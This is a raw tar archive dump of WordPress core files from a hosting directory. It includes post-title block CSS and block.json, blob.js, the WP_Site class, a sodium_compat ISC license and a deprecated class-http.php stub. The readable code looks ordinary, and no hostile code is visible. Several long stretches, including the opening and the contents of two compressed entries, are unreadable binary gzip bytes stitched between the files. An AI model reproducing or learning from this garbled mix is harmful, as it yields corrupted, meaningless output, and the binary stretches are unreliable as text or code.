�\O�ߦ>z��=�?���#�d��
J<���+���R��ZV^���̋�<:�
>��^2I���qs�0�R�}t\��w�NΜp��@�4���T�b6KF�2�t�dV�򲋦��w�����m�&mZ�F�h���:�JW�`F/jWr��>z]��<��p�}l�s�Tg%*�eG�ȋ�n��1:����A�a4��a`�ؘʖ%�`0L���_<,��y��wGPtQ��f&�Uw�p��~���R��?��:���i�8M�kƉ�Qs_�?����s��蹼׷E|&/��XA�e��?��-k�B�r�҆+k�b�QOI�G\�_����i˯HO��5U�)�~Ԥ	)�6���9�ԽEe�����ap!Ar�O�o��6X�}�*߈p�FL����d_ݒTj��cĠ����5��c|����������*��aleU��������c������
�&�kZx�;#k��Z[�tW���6C^���`$0΅0_e=���=�M�MSJ�AU����Id	 2�8�&\n�1�8xF��F�a�u�f��w�~�G���U�P;����&(��p��ц���vm�C��?V�b�8UT��R�
�QcS��t`\�]=б�4�6\��t*s`J.@ً͠7��P���	��C���&��趩�HtS�z�t�.��`�V�;	LC\������c����u�m$�`-EI�����^ldɐ��0���4�45ے+���Y��I�\ZR�l;7.�Xj�[�����9�k�&3�U��Y�ݭ:���ǚh��VR����8S�D	X�}��#9`�Ց8Tسɪ�W3�S�b�*�7j�H�"V.La����o!����'���+��*
+��I�\0�ޥZy��A�L�����.�a~�_���_��;���7���/z�G�J��D+�99���a0��
xg��R����m��	��ά���F�gTC�ޫ�ݗ���Ai��&��TO<xE�~0�ѣ5����[�W���nK�d*�]\L����d�.T:�ؕ���ǎD�Ԍ4,,󡯫wt�A�s��3>�+��Cg�6�w�?\����Z�w�iS�U�b#��0�W^>��z��. {��&4T���
�C���	,��
����7z�X1=^���OK=
���"�ٕY
��S"�li��3�c�c��)��ŀ�D�,3g����91���s�h���$���K�Vr�ϣKx��3�I�ٝ79�_/�����
;�ճ���Im��j�^�tO��������B«�����5܃P��q��YW14�׆E����Y�@
���׹j�I^�f/�}����L-�&�ha�Vf�
������
r�l�yv(M.�mR7�oU��?^�[���m��qiU]j�v]Z@�P8y���1Y,u`�
D1Չ��H�N���udG6�ɬ�s[Ї�P[��.�Ȍ�{�R�����c�҂�D�h&�y���<T���eQ���h_MJ�ov��Ozѻ�d3ŐN?�n�c�t���S<-]3�p��Q�L���{����m6���v?���z{��x�s��	A�R`���ྜྷD���$iTicp��ڈ h�yO9�����i�%��V?A��7 )		h`K.CC\��~i�Č`�E<���}gW��b�A5�.�a'�����6ܠ���#�N���;���Sa#�Y��2�'�$K��g���L�ȗ �:�Z[zuc)�֟C�����D�K,K��\0�N�i��2��t�;V�/I��࣏ɬ�\-�-�"�W��^2�:6�Иo^�P���o��W�Q��K���y�JV��6��r�����]���)c-��d�F���W"����b�S�囃Q�5j\!)�E+�vOє��@�\�FObO�z���Ϗw��������sP�ǚ�~����.5��©�f���a�Y�_M�6��21��o�,�*CW;l��z+?�3M7������$���������*�i-��
c��-N8�kZ�hm��ٸ��0�`�5�B#k�
�
x�t��l���k��[��ך�XL��D�js�5x�,]�4E
$�Ĭ]
ko�GU��j�9R����9��1e�/�'�H��u[��f�e}=�:u�Q�ٯ<�Wf��v+Ń�
¹-
W���C5i��T�ԊP�M�"|���P���m���QtlD�@D�p��l��WR�l,C�	,��[�Ev����-N�W!��Rr��[%��)��(�B�e�;M��V�K2M��a�%�Y�_){	��V�{����&�`���:���N	�I��(/n��ӡ�{z�S�uSvg������`�:.d�n0����zW2=��(�?���|�{x��n�?��}
	���A0�$���s�^6s���`�3�`�TИ\Ud�|�7zy0zI�*m�� 3��c��\�����x>/�s��S�X����vr!�O��6�?�P빊vE��b�]���[:Z�&���ʼ��+*��8��zK_R���j�Z^�Py�bh����9�ݎ��<�w���l� a���+0=~<�ֿh�����z�*�?����*<t���o0X[��T����ĴȀ8��m[9�`o�`�v����fB���̀κ���,Le_�{f^�Ҁ�v���
j�+п��W����f�����]1��G�,p�\T=V.�5WGsh�ǂ�����\WD��It���oJ�9�T���d՜��(�H+Y{�Z�ꠔ���5m
Q"��I�i\�P
�r��lt�k�JF<��y)�g�c�����0�9��Q6ټ��uȌU�E�jQ�����EK+�M��i��[Z!�ܑIߊIL$E���/A����Rh��I�ϒ�x|G��a+JR�Yr�՘�>sHu_�1�>��T�"w�
*Ei7@S&�kIDUF�����H������1$��D�w�oІ�&�_L9��+[�O���M[,��C6���&w��k�3wK�%�$(~�a��M�z��R�p���*�!z�߬l�
�qE6
+�g�R��H��:P��E= �ĩ��ht�{�.G�u
�yK5��{��PB�!��bNQ���7�hNx��6?��E�H"�"�mݰa����6�?��Ԡ�#��,�o$�ҕ���)�k��J�����r)���M���p��qZ3�k��Nc
ֶO���;:�)+=�K�[}��WhU�[a�x`j ���~�~�~��?�P/��14338/post-title.tar000064400000017000151024420100010025 0ustar00style-rtl.min.css000064400000000405151024250110007765 0ustar00.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}style.min.css000064400000000405151024250110007166 0ustar00.wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit}block.json000064400000003307151024250110006523 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/post-title",
	"title": "Title",
	"category": "theme",
	"description": "Displays the title of a post, page, or any other content-type.",
	"textdomain": "default",
	"usesContext": [ "postId", "postType", "queryId" ],
	"attributes": {
		"textAlign": {
			"type": "string"
		},
		"level": {
			"type": "number",
			"default": 2
		},
		"levelOptions": {
			"type": "array"
		},
		"isLink": {
			"type": "boolean",
			"default": false,
			"role": "content"
		},
		"rel": {
			"type": "string",
			"attribute": "rel",
			"default": "",
			"role": "content"
		},
		"linkTarget": {
			"type": "string",
			"default": "_self",
			"role": "content"
		}
	},
	"example": {
		"viewportWidth": 350
	},
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true,
				"link": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		}
	},
	"style": "wp-block-post-title"
}
style-rtl.css000064400000000450151024250110007203 0ustar00.wp-block-post-title{
  box-sizing:border-box;
  word-break:break-word;
}
.wp-block-post-title :where(a){
  display:inline-block;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}style.css000064400000000450151024250110006404 0ustar00.wp-block-post-title{
  box-sizing:border-box;
  word-break:break-word;
}
.wp-block-post-title :where(a){
  display:inline-block;
  font-family:inherit;
  font-size:inherit;
  font-style:inherit;
  font-weight:inherit;
  letter-spacing:inherit;
  line-height:inherit;
  text-decoration:inherit;
}14338/blob.js.tar000064400000015000151024420100007250 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/blob.js000064400000011016151024365450024213 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   createBlobURL: () => (/* binding */ createBlobURL),
/* harmony export */   downloadBlob: () => (/* binding */ downloadBlob),
/* harmony export */   getBlobByURL: () => (/* binding */ getBlobByURL),
/* harmony export */   getBlobTypeByURL: () => (/* binding */ getBlobTypeByURL),
/* harmony export */   isBlobURL: () => (/* binding */ isBlobURL),
/* harmony export */   revokeBlobURL: () => (/* binding */ revokeBlobURL)
/* harmony export */ });
/* wp:polyfill */
const cache = {};

/**
 * Create a blob URL from a file.
 *
 * @param file The file to create a blob URL for.
 *
 * @return The blob URL.
 */
function createBlobURL(file) {
  const url = window.URL.createObjectURL(file);
  cache[url] = file;
  return url;
}

/**
 * Retrieve a file based on a blob URL. The file must have been created by
 * `createBlobURL` and not removed by `revokeBlobURL`, otherwise it will return
 * `undefined`.
 *
 * @param url The blob URL.
 *
 * @return The file for the blob URL.
 */
function getBlobByURL(url) {
  return cache[url];
}

/**
 * Retrieve a blob type based on URL. The file must have been created by
 * `createBlobURL` and not removed by `revokeBlobURL`, otherwise it will return
 * `undefined`.
 *
 * @param url The blob URL.
 *
 * @return The blob type.
 */
function getBlobTypeByURL(url) {
  return getBlobByURL(url)?.type.split('/')[0]; // 0: media type , 1: file extension eg ( type: 'image/jpeg' ).
}

/**
 * Remove the resource and file cache from memory.
 *
 * @param url The blob URL.
 */
function revokeBlobURL(url) {
  if (cache[url]) {
    window.URL.revokeObjectURL(url);
  }
  delete cache[url];
}

/**
 * Check whether a url is a blob url.
 *
 * @param url The URL.
 *
 * @return Is the url a blob url?
 */
function isBlobURL(url) {
  if (!url || !url.indexOf) {
    return false;
  }
  return url.indexOf('blob:') === 0;
}

/**
 * Downloads a file, e.g., a text or readable stream, in the browser.
 * Appropriate for downloading smaller file sizes, e.g., < 5 MB.
 *
 * Example usage:
 *
 * ```js
 * 	const fileContent = JSON.stringify(
 * 		{
 * 			"title": "My Post",
 * 		},
 * 		null,
 * 		2
 * 	);
 * 	const filename = 'file.json';
 *
 * 	downloadBlob( filename, fileContent, 'application/json' );
 * ```
 *
 * @param filename    File name.
 * @param content     File content (BufferSource | Blob | string).
 * @param contentType (Optional) File mime type. Default is `''`.
 */
function downloadBlob(filename, content, contentType = '') {
  if (!filename || !content) {
    return;
  }
  const file = new window.Blob([content], {
    type: contentType
  });
  const url = window.URL.createObjectURL(file);
  const anchorElement = document.createElement('a');
  anchorElement.href = url;
  anchorElement.download = filename;
  anchorElement.style.display = 'none';
  document.body.appendChild(anchorElement);
  anchorElement.click();
  document.body.removeChild(anchorElement);
  window.URL.revokeObjectURL(url);
}

(window.wp = window.wp || {}).blob = __webpack_exports__;
/******/ })()
;14338/class-wp-scripts.php.php.tar.gz000064400000015052151024420100013137 0ustar00��=ks�F��U�c�6$S%9v��,{�N�Q�q|�|���8a��Rx����c����H�Wa%������k�{F�|.���,/��f�q��e�LƩ��$�X.��t��o�|�U�Q���{I�ˉ,��4*�=xRB�EU����j��|y�N�1=�7_���o�wn߹}p��6<�}���;���|�e0��1֟�s�,���o���7r!����D�����#����3^XA+
���?J`)n���G�(~]H�K^L�C��py�_������Q^H/����*��H�JB�U}�C;p)%������*hQ����[���gTJ���b�;c�z��2M��UR�DUDI
""Jhf[yġ��
h������4���97^��E��SQ̀&yWb�2��b�뵃((�q���h�V�Re�g�ox�7�҄��Xw����?��I
T�9�q��,�g".�ٯK�H2�$X7�(�U
�$sgq��&�H��,1��*��>�5�#��?y_����!��΃�REIV�Q��I�W���\� ��ѝ
����󗙄�ʅ,�;�I�`�c��yZg�|l�2��R6��ُ��<*�,.� ��$���TL�*��G��$ �Yt���-�Y5�U�eݒ$�c"|��	t�tr.�Q�W(B�D�@Z%�����c��~�ɀ�k�n&.�+�l*
��n¿�d���Z�:v`��G�i5`�M��b�D�������4}$.�K���4bz(S�/�d����/an��@�W`���3�iN�����(�KX��Fn(w��BNe!2��+�F+������y��o`�=�4�&d��PW�O(B���Wb�-��4�e�&Ĩ�WǼ�^�lN��fz�7�����,�	o�իb���n�-3L�YLl=F��=�tk�v�YR��O��B�nm��G���ǀ�‰��S1��j띃�)�J�R�
䟠�������F0ɫI@q�,���j��dRROe��lR�>^DE4wa�^-�Zu���/`.���<�cl�mo�z�Dے�3��4���{�t��s��FT�잀�(��An�H<L˜�����7�#�y��
0ѡ�`G㈇��$GC�ڽ(��� :J�c�2�_k�&K.v��i�Fz$4�a�
}99��>u	�f��"�4}F��3��H�%`���5+���]d�q�N�&�~�h���I*/ez�?D:�Y.�y�i��Z�QG��M�n�
?� nj-F-�ʎ��۷K�������.X�J��$��;�M��#ZDc@>2�A`N~�>=I�(�:K�e��(��uLH)R�aQ�3�̈p�t�wͫ��1r������&��i���bTk2� �^/���EA$�jd�,E�y%�חy2������J޶�
&k�4pZ!��il"r��U�xx��Ã�p��R턡1�킎5�>���?ytv�ӓ���4�_k��BkM���Ձ��>&��8�/��]�n�
{|��/��7��K.$�瀼ӳ��K�}qK�nD1�G�1�O��t_��F���
�q]�u[��IO��;ov�^�{4��Z,��,k��|~tۈ[�p6�ռ�P̉�4�A�vN)�UH��s��P�:�Ʉ��$��""��|%�2������!ry�HIm��,�]�a0h9��cgd�V�a�r�NMF�7�{�e:�́&���|B쓀Yپ�t��f/��g���rr�ڀ iVP�-�8���G�9���6�LP�u�.��S�)��b�T����Οv�>�������o#���	�q��tY��6MG���8�y`�c������0��[��:�Y�����>�5�ٱ*YG�D�<�����8z{kf[a��xz�>�$�i?Н7K��n~����U�܏
�f{�w�F�]P�B�4����#��C�.�|���j(�A��H�>��������%PY���S���ԊC(�F+�e�\$����������4��ˬ,���޺KOÒq��h��r��fV��3��k�7+�$D2�/zN�.˃��G*�h�Ų��B�4�a���p�6�p8��c~)�R+-��sJ~���;9j��:�n.#�#���~j/T?B�HI�W-��UaP��j���n��(����.�V�nS�bDHm$[M�9���7
��_�YAg� -t����u��̆}Z�c�ޭ����������v�C=��@�0�d�roO�fEr.�KR��Bΰi�:�´5�@�~*���#t}-|�V�j`q�0�Fu���Q�'�a6B��i�<q�I	�+�B�Ṿ$c���	�U ���7���@�O��*2����Sغ��2��J`�|a3����/��֏8����K�"���~��1�2��0l���m�f��6U�.O�LM@!��s���nܘrX;�/��@�\��/w^�� e���KX�F�n-�'��[�S����b��������a�ސp�F\olh[bu���y
�)�����r��LӐz��XE'񍋹/�Ǡ�r)�iTx�F��bV��*Zad~̙R7~E�E���a\�/�ȞT�!�!\�[CT�o5��'t�����d��#�������~'�Фa��贪����W����n�M��zg,�,*=�Lq��~�&�+xd�C�Z��Sb������C�e_<��M�D�&E$%�)]0�<�,�D��f��9������M��̒6�0r�;;5k�(T����|౎&BKS��&��>X���<������ϪjQ>8<�߿V�P����S�o@
���>�T�k�l<p�}�Ȫ��LC�B��\$�	�M�S̿.e���7��%%�����q4>�|V,�<��r.1-�n��RS�.��q]��Dz���3Th�v���fت�P��\z�&�a�w��l8V�鈐_8�_�@3�m���qs��� r�M+y�^�.J1���4]�g�X���s��Z�զ��W+`���ΈJ]��V�DJ�V��
�څ!2p.��=r�
0U��-��ڰb���uU����^29�ݜm�����	�)1\�e�5�Rh��c��_tgN&:	F�x0�d���π�'�P�6*����=�;�#f�α$�JqT+�C�
$_��6���!���DZ��� �E^q�9t�����V|���T�ڹ~�2��z�3��Й��;�Q�]׳h�:辷0�b`j�uQ�|'�����V�ˁ}l;sx���2|*�AATQ�p��[cOop�n��)��Neūn��5,3�o������f3�)ޖz����������E��pr}]v��Ntړ�\��L�J��0?�}B��Y��U֛B~Ӓ��=���o�`��P�F+��:u�#>�{�`�>�U!�22a)��_���Y}eE7
9�0p��(��,�� g�ШB>T�|�I9J���D�H�'Z��i���q�3!Q
ۤ��W���:���%�W���k0�Ii����N��xzɼ/��"��/v���u�!}mX;�I`��O������$❧�'���y��
F�sH��ȟ�[ͬB��Gqm��j0���#i��e��&� y��ܻ׉�����EW*��,�~��T�n_�`_ӕN���X�]�M_qA���[;���a��C$�z�S����q5ΰ��2*<&Å�t$Nmo8��������.�ij.}�+� !L�����0]Fq&5T(9{��k�Q�81�[m�'��^�mT�ѐ
6����=>y��U��9^T��}q�o���7�/.թ
:T����CM3
:�t%
O�xx\f됪���sS�Or��H��U�g��q�4�^�)��:���8<b�Cq�嬹]�dB���8��wK[�%�J�F��H��tX��'0�P즴��}�~`9'Rx;�'^x��=\����}���
c��RS�ww������+�R��K��S8����t&0JAi`uL6��G��f��@s��t�R�y�&Պ3@<�9{�����Y#4�]����`����W��퓳�=����g�??�n�k�Tw�J�|�T8�,c|#WL��R�Qp9���0+��>�$S�q�)�`�/[�bk�fǤ���)9��`�.�gb�L���3�!`;�c�NG�1k'��B�'�F��c��a���Lݪ;}��0��o`8~�Sw���<Z{��z}J�꒟��������{��Κm��H<c!�Zfɯ�`}<�P�AW�f@yL�M��m"� �`���.>�{`2]�����к*�'�[���:�D.79��",�]���uՖ�����H.d�z�Pu�fV�U��)�4��J�@#"v�4Q�^�j�n��
���v�E]�t!�Z�7 0N�G�*��0��e�w���.�q*����x0�f�5�k�i5��x�J�7V���tf��]��i�whQ5��':���i�r�9~l��1[�Q�����)���l��)��K�Z��4=N씇j�X��G�7��5!-L�ҁ��]m�"��2V7����o�0|�u�����\���m�"�O�tqmq�pL/M��ؼ�Ś�͢F��6q1{�����Ow�+�~�Ht��b�7��k�0u ��SX�ln
�OJ;�x�R�����&�X%���y���HL?����DS;9���;�i�����v_�$��	U�
�7�@�MF��l���_"���q;v!K@˂}���rd�ڬ��b��i�ش�;��-j}'}�[�w;C�I�w��gNN��\������o�/�Ð�x�fwt8����l�ͭ�к�Xp���l�0�j��_��46V��	6�P�-CR�2�nz��>�����S@�W׽3����hX"V'�a��]G`���޺v���@�Mx�a�U���[��I.�0Wh��f]�̚59�nV���	tϔr�FR���p��O�ڤ��<"�)<���}s��#��]02��.���.`DS��ޟco�P�w�`�g�'`�H���݈H�ɜ�V�l���XԼ�k��uTM�P���,�kۧM�e��v�Q2o�H��x�^]e�ԫ�����g/yz���_��Z��=m��V���!�J���ݰvV����D��2Ž�KY�D�vձEU�$�E>�3��B���"/�.��cH]|���J�0X�{chYp�&�
߽v��7`7�����.���M��L�h;N��ñ�Cb����+��H�y�zd?�~j�j	�`JBY(=O�v��iF��ك��0�Jo#�
�I�hI�l3����1m^iK%�7�����9q
�ؕ%���O��fφ��)��Q�av8]�U���m����2�0��P�t|���o$��+��+������̌��N�B�/�kSZ�7�[gnmA���x����;JگAV���K`�":s�k������,�H����2��lR��<�>�/���I�:8���w�$N	v�Ȃd�hy�騇�l�M�s�v��>:�l������~�"��l�+]�Z`�p`ԝ1-7��s�xNK��ؙ�
�B��^�2{���o��o`'9r����;q/��
��ǡ;�t���ب��֋AU��ɖ��fNמv���'�6��(4v�bС�p:��H�=w���0	gv�6v6��+J�-r�6+�f�U����/ܨߘ���O�ƨU7&��m�Cx{��Ʒ��T��6��”���h�_�ml=�լr�g�O�����>�&�R��zU���a`.��2�{k�LcJ�L 4�Ӭ�e�=<!9��hAuW�C3~P�=ѭ9\�mԻpW�?Ɓ6�
m�e�g&4/]����M�_�VRs�Ke�w�Bj�7��Z'ƴ!���ё&XM�9����DI�*�K���W��?m�î�$&DD?ik�s�0(3�MI!�f
�=��	�T=�ݜ�͍��b
�ÛW��_�5��Nm0����]{��p=�٦�a����L��Z��z��tm��	��9��.��!9V�z4#.�>���p�S���qqHE&��ʩ�U��<&�}�CU�:��~.?F�,b��E��g���HʬWyE����Q��ְ�d;�>��uTvȠGFA��n��B�
r]3��5�^���b1"���:p�M���m�����@���ʘ-����i�U�&B���'[ms:n�R�2� �v:^L�v<����>.���7�1o�ϥ{��{�/�h;;fO�Er#GG1X���U4جu;��L�!i�c����z�bP�\w-�%�pj�J�6��j2Y�zsW��L`�T5�8kfBm��1M�tX�����"���v'�q�����JV+<�˄���
Z��.Aw���wB����=F��O��v�F=�&�����\�Q}�]��&�\jg�[��~���[�|�BU矈	D�եN�ܜ{�҉
g�oj2wTo_
���������I᷶�C�}��n����y}�������?�ۛv14338/class-wp-site.php.tar000064400000022000151024420100011176 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-site.php000064400000016436151024205430024566 0ustar00<?php
/**
 * Site API: WP_Site class
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 4.5.0
 */

/**
 * Core class used for interacting with a multisite site.
 *
 * This class is used during load to populate the `$current_blog` global and
 * setup the current site.
 *
 * @since 4.5.0
 *
 * @property int    $id
 * @property int    $network_id
 * @property string $blogname
 * @property string $siteurl
 * @property int    $post_count
 * @property string $home
 */
#[AllowDynamicProperties]
final class WP_Site {

	/**
	 * Site ID.
	 *
	 * Named "blog" vs. "site" for legacy reasons.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $blog_id;

	/**
	 * Domain of the site.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $domain = '';

	/**
	 * Path of the site.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $path = '';

	/**
	 * The ID of the site's parent network.
	 *
	 * Named "site" vs. "network" for legacy reasons. An individual site's "site" is
	 * its network.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $site_id = '0';

	/**
	 * The date and time on which the site was created or registered.
	 *
	 * @since 4.5.0
	 * @var string Date in MySQL's datetime format.
	 */
	public $registered = '0000-00-00 00:00:00';

	/**
	 * The date and time on which site settings were last updated.
	 *
	 * @since 4.5.0
	 * @var string Date in MySQL's datetime format.
	 */
	public $last_updated = '0000-00-00 00:00:00';

	/**
	 * Whether the site should be treated as public.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $public = '1';

	/**
	 * Whether the site should be treated as archived.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $archived = '0';

	/**
	 * Whether the site should be treated as mature.
	 *
	 * Handling for this does not exist throughout WordPress core, but custom
	 * implementations exist that require the property to be present.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $mature = '0';

	/**
	 * Whether the site should be treated as spam.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $spam = '0';

	/**
	 * Whether the site should be treated as deleted.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $deleted = '0';

	/**
	 * The language pack associated with this site.
	 *
	 * A numeric string, for compatibility reasons.
	 *
	 * @since 4.5.0
	 * @var string
	 */
	public $lang_id = '0';

	/**
	 * Retrieves a site from the database by its ID.
	 *
	 * @since 4.5.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $site_id The ID of the site to retrieve.
	 * @return WP_Site|false The site's object if found. False if not.
	 */
	public static function get_instance( $site_id ) {
		global $wpdb;

		$site_id = (int) $site_id;
		if ( ! $site_id ) {
			return false;
		}

		$_site = wp_cache_get( $site_id, 'sites' );

		if ( false === $_site ) {
			$_site = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = %d LIMIT 1", $site_id ) );

			if ( empty( $_site ) || is_wp_error( $_site ) ) {
				$_site = -1;
			}

			wp_cache_add( $site_id, $_site, 'sites' );
		}

		if ( is_numeric( $_site ) ) {
			return false;
		}

		return new WP_Site( $_site );
	}

	/**
	 * Creates a new WP_Site object.
	 *
	 * Will populate object properties from the object provided and assign other
	 * default properties based on that information.
	 *
	 * @since 4.5.0
	 *
	 * @param WP_Site|object $site A site object.
	 */
	public function __construct( $site ) {
		foreach ( get_object_vars( $site ) as $key => $value ) {
			$this->$key = $value;
		}
	}

	/**
	 * Converts an object to array.
	 *
	 * @since 4.6.0
	 *
	 * @return array Object as array.
	 */
	public function to_array() {
		return get_object_vars( $this );
	}

	/**
	 * Getter.
	 *
	 * Allows current multisite naming conventions when getting properties.
	 * Allows access to extended site properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to get.
	 * @return mixed Value of the property. Null if not available.
	 */
	public function __get( $key ) {
		switch ( $key ) {
			case 'id':
				return (int) $this->blog_id;
			case 'network_id':
				return (int) $this->site_id;
			case 'blogname':
			case 'siteurl':
			case 'post_count':
			case 'home':
			default: // Custom properties added by 'site_details' filter.
				if ( ! did_action( 'ms_loaded' ) ) {
					return null;
				}

				$details = $this->get_details();
				if ( isset( $details->$key ) ) {
					return $details->$key;
				}
		}

		return null;
	}

	/**
	 * Isset-er.
	 *
	 * Allows current multisite naming conventions when checking for properties.
	 * Checks for extended site properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key Property to check if set.
	 * @return bool Whether the property is set.
	 */
	public function __isset( $key ) {
		switch ( $key ) {
			case 'id':
			case 'network_id':
				return true;
			case 'blogname':
			case 'siteurl':
			case 'post_count':
			case 'home':
				if ( ! did_action( 'ms_loaded' ) ) {
					return false;
				}
				return true;
			default: // Custom properties added by 'site_details' filter.
				if ( ! did_action( 'ms_loaded' ) ) {
					return false;
				}

				$details = $this->get_details();
				if ( isset( $details->$key ) ) {
					return true;
				}
		}

		return false;
	}

	/**
	 * Setter.
	 *
	 * Allows current multisite naming conventions while setting properties.
	 *
	 * @since 4.6.0
	 *
	 * @param string $key   Property to set.
	 * @param mixed  $value Value to assign to the property.
	 */
	public function __set( $key, $value ) {
		switch ( $key ) {
			case 'id':
				$this->blog_id = (string) $value;
				break;
			case 'network_id':
				$this->site_id = (string) $value;
				break;
			default:
				$this->$key = $value;
		}
	}

	/**
	 * Retrieves the details for this site.
	 *
	 * This method is used internally to lazy-load the extended properties of a site.
	 *
	 * @since 4.6.0
	 *
	 * @see WP_Site::__get()
	 *
	 * @return stdClass A raw site object with all details included.
	 */
	private function get_details() {
		$details = wp_cache_get( $this->blog_id, 'site-details' );

		if ( false === $details ) {

			switch_to_blog( $this->blog_id );
			// Create a raw copy of the object for backward compatibility with the filter below.
			$details = new stdClass();
			foreach ( get_object_vars( $this ) as $key => $value ) {
				$details->$key = $value;
			}
			$details->blogname   = get_option( 'blogname' );
			$details->siteurl    = get_option( 'siteurl' );
			$details->post_count = get_option( 'post_count' );
			$details->home       = get_option( 'home' );
			restore_current_blog();

			wp_cache_set( $this->blog_id, $details, 'site-details' );
		}

		/** This filter is documented in wp-includes/ms-blogs.php */
		$details = apply_filters_deprecated( 'blog_details', array( $details ), '4.7.0', 'site_details' );

		/**
		 * Filters a site's extended properties.
		 *
		 * @since 4.6.0
		 *
		 * @param stdClass $details The site details.
		 */
		$details = apply_filters( 'site_details', $details );

		return $details;
	}
}
14338/rss-functions.php.php.tar.gz000064400000000507151024420100012535 0ustar00��KO1���_q]�@`^���D�I�!Q�rR�[h�i�vF1�n!D�4�b�n���s���u��0h_�R���-C�,G���ե�����ZU��E�V��by�ц�ڞ���V6(�ek��q��{�5�����Q�&Q�����(�hO֯SۊW�]���s73v::p��AF+�<[7�HA*[!��m%e:C�j�'��؍ʿOC�A�Đ)��c�(�B�7�|����<h��A�p%+�=$��d?��9��B-*Z�]�ݎ�o��]�6�^�����۫��!1����L+���s�]����/��14338/LICENSE.tar000064400000005000151024420100007000 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/sodium_compat/LICENSE000064400000001534151024233040025221 0ustar00ISC License

Copyright (c) 2016-2023, Paragon Initiative Enterprises <security at paragonie dot com>
Copyright (c) 2013-2019, Frank Denis <j at pureftpd dot org>

Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
14338/class-http.php.tar000064400000004000151024420100010565 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-http.php000064400000000557151024206160024153 0ustar00<?php
/**
 * Core class used for managing HTTP transports and making HTTP requests.
 *
 * This file is deprecated, use 'wp-includes/class-wp-http.php' instead.
 *
 * @deprecated 5.9.0
 * @package WordPress
 */

